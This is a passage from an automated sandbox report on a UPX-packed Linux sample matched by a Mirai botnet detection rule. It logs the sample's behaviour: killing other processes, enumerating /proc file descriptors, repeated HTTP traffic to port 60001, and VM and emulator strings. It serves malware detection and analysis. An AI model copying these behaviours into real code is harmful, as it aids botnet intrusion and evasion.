89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
    Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
    Source: 5227.1.000000001a887bdc.00000000b29d1ae9.r-x.sdmp, type: MEMORYMatched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b
    Source: /tmp/1xtO9V8ku8 (PID: 5225)SIGKILL sent: pid: 936, result: successful
    Source: /tmp/1xtO9V8ku8 (PID: 5227)SIGKILL sent: pid: 936, result: successful
    Source: /tmp/1xtO9V8ku8 (PID: 5227)SIGKILL sent: pid: 5225, result: successful
    Source: classification engineClassification label: mal100.troj.evad.lin@0/53@0/0

    Data Obfuscation:

    barindex
    Sample is packed with UPXShow sources
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Id: UPX 3.96 Copyright (C) 1996-2020 the UPX Team. All Rights Reserved. $
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/491/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/793/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/772/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/796/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/774/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/797/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/777/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/799/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/658/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/912/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/759/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/936/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/918/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/1/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/761/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/785/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/884/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/720/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/721/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/788/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/789/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/800/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/801/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/847/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5225)File opened: /proc/904/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2033/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1582/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2275/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1612/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1579/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1699/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1335/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1698/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2028/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1334/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1576/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2302/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/3236/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2025/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2146/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/912/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/912/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/759/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/759/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2307/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/918/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/918/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1594/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2285/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2281/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1349/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1623/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/761/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/761/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1622/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/884/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/884/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1983/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2038/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1586/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1465/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1344/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1860/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1463/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2156/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/800/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/800/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/801/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/801/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1629/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1627/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1900/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/491/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/491/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2294/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2050/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/5040/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1877/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/772/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/772/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1633/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1599/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1632/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1477/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/774/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/774/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1476/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1872/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2048/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1475/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2289/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/777/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/777/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/658/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/658/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/936/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/936/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1639/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1638/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2208/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/2180/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/5179/fd
    Source: /tmp/1xtO9V8ku8 (PID: 5227)File opened: /proc/1809/fd
    Source: /usr/sbin/invoke-rc.d (PID: 5420)Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service
    Source: /usr/sbin/invoke-rc.d (PID: 5422)Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service
    Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 5428)Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service
    Source: /usr/sbin/logrotate (PID: 5416)Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "
    Source: /usr/sbin/logrotate (PID: 5424)Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

    Hooking and other Techniques for Hiding and Protection:

    barindex
    Uses known network protocols on non-standard portsShow sources
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 44114 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 44114 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 44114 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59880 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58706 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56064 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60001 -> 58706
    Source: unknownNetwork traffic detected: HTTP traffic on port 56064 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56064 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 39846 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 33692 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60728 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60728 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55434 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50984 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58560 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60001 -> 58560
    Source: unknownNetwork traffic detected: HTTP traffic on port 55434 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50984 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 57546 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 42466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 42466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 46714 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58638 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37448 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41008 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 40318 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52250 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41008 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55334 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45652 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59590 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41194 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59382 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56310 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52606 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 50126 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 39416 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 45660 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 49456 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59766 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 43962 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 59844 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37642 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 56466 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 47086 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60001 -> 47086
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 55670 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52068 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 46314 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41138 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 37110 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 36150 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58916 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58916 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 41138 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 58916 -> 60001
    Source: unknownNetwork traffic detected: HTTP traffic on port 52980 -> 60001
    Source: /usr/bin/find (PID: 5409)Queries kernel information via 'uname':
    Source: /usr/sbin/logrotate (PID: 5374)Truncated file: /var/log/cups/access_log.1Jump to behavior
    Source: /usr/sbin/logrotate (PID: 5374)Truncated file: /var/log/syslog.1Jump to behavior
    Source: 5419.34.drBinary or memory string: -9915837702310A--gzvmware kernel module
    Source: 5419.34.drBinary or memory string: -1116261022170A--gzQEMU User Emulator
    Source: 5419.34.drBinary or memory string: qemu-or1k
    Source: 5419.34.drBinary or memory string: qemu-riscv64
    Source: 5419.34.drBinary or memory string: {cqemu
    Source: 5419.34.drBinary or memory string: qemu-arm
    Source: 5419.34.drBinary or memory string: (qemu
    Source: 5419.34.drBinary or memory string: qemu-tilegx
    Source: 5419.34.drBinary or memory string: qemu-hppa
    Source: 5419.34.drBinary or memory string: q{rqemu%
    Source: 5419.34.drBinary or memory string: )qemu
    Source: 5419.34.drBinary or memory string: vmware-toolbox-cmd
    Source: 5419.34.drBinary or memory string: qemu-ppc
    Source: 5419.34.drBinary or memory string: Tqemu9
    Source: 5419.34.drBinary or memory string: qemu-aarch64_be
    Source: 5419.34.drBinary or memory string: 0qemu9
    Source: 5419.34.drBinary or memory string: qemu-sparc64
    Source: 5419.34.drBinary or memory string: qemu-mips64
    Source: 5419.34.drBinary or memory string: vV:qemu9
    Source: 5419.34.drBinary or memory string: qemu-ppc64le
    Source: 5419.34.drBinary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
    Source: 5419.34.drBinary or memory string: vmware
    Source: 5419.34.drBinary or memory string: qemu-cris
    Source: 5419.34.drBinary or memory string: libvmtools
    Source: 5419.34.drBinary or memory string: qemu-m68k
    Source: 5419.34.drBinary or memory string: qemu-xtensa
    Source: 5419.34.drBinary or memory string: 9qemu
    Source: 5419.34.drBinary or memory string: qemu-sh4
